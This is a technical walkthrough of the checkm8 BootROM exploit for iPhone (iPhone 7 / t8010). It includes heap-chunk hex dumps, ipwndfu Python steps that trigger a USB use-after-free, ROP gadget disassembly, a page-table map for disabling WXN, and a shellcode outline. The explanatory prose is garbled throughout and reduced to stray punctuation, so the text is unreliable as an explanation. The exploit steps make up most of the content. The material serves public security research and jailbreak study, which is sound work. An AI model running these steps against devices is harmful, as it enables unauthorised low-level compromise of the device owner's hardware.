................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 
 , High Speed Full Speed , IO -. , , , . , .
2. IO-
 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 
OUT - . , io_buffer . DFU DFU_CLR_STATUS , DFU .
3. usb_device_io_request use-after-free
 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 
usb_device_io_request t8010_overwrite , .
t8010_nop_gadget 0x1800B0800 callback next usb_device_io_request .
t8010_nop_gadget , , LR , - free callback - usb_core_complete_endpoint_io . , , .
 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 
next INSECURE_MEMORY + 0x800 . INSECURE_MEMORY , 0x800 callback-chain , .
4.
 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 
. :
 0x1800B0000: t8010_shellcode #  shell-code ... 0x1800B0180: t8010_handler #   usb- ... 0x1800B0400: 0x1000006a5 #     #  SecureROM (0x100000000 -> 0x100000000) #        ... 0x1800B0600: 0x60000180000625 #     #  SecureRAM (0x180000000 -> 0x180000000) #        0x1800B0608: 0x1800006a5 #     #    0x182000000  0x180000000 #           0x1800B0610: disabe_wxn_arm64 #    WXN 0x1800B0800: usb_rop_callbacks # callback-chain 
5. callback-chain
 dfu.usb_reset(device) dfu.release_device(device) 
USB usb_device_io_request . , callback . :
 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 
, 0x70 . f(x) f x .
, Unicorn Engine . uEmu .

iPhone 7 .
5.1. dc_civac 0x1800B0600
 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 
. , .
5.2. dmb
 0000000100000478: DMB SY 000000010000047C: RET 
, , . , , .
5.3. enter_critical_section()
.
5.4. write_ttbr0(0x1800B0000)
 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 
TTBR0_EL1 0x1800B0000 . INSECURE MEMORY , . , :
 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 
5.5. tlbi
 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 
, .
5.6. 0x1820B0610 - disable_wxn_arm64
 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 
WXN (Write permission implies Execute-never), RW . WXN - .
5.7. write_ttbr0(0x1800A0000)
 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 
TTBR0_EL1 . BootROM , INSECURE_MEMORY .
5.8. tlbi
.
5.9. exit_critical_section()
.
5.10. 0x1800B0000
shellcode .
, callback-chain — WXN shellcode RW -.
6. shellcode
shellcode src/checkm8_arm64.S :
6.1. USB -
usb_core_hs_configuration_descriptor usb_core_fs_configuration_descriptor , . . USB -, shellcode .
6.2. USBSerialNumber
- , " PWND:[checkm8]" . , .
6.3. USB -
USB - , .
6.4. USB - TRAMPOLINE ( 0x1800AFC00 )
USB - wValue 0xffff , , . , : memcpy , memset exec ( ).
.
USB
Proof-of-Concept checkm8 Arduino Usb Host Shield . PoC iPhone 7 , . iPhone 7 DFU Usb Host Shield , PWND:[checkm8] , USB - ipwndfu ( , - ..). , , USB -. USB_Host_Shield_2.0 . , patch- .
. checkm8 . , . jailbreak-. , jailbreak checkm8 — checkra1n . , jailbreak ( A5 A11 ) iOS . iWatch , Apple TV . , .
jailbreak, Apple. checkm8 verbose- iOS , SecureROM GID - . , , JTAG/SWD . , , . , checkm8 , Apple .
Referensi
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- ipwndfu LinusHenze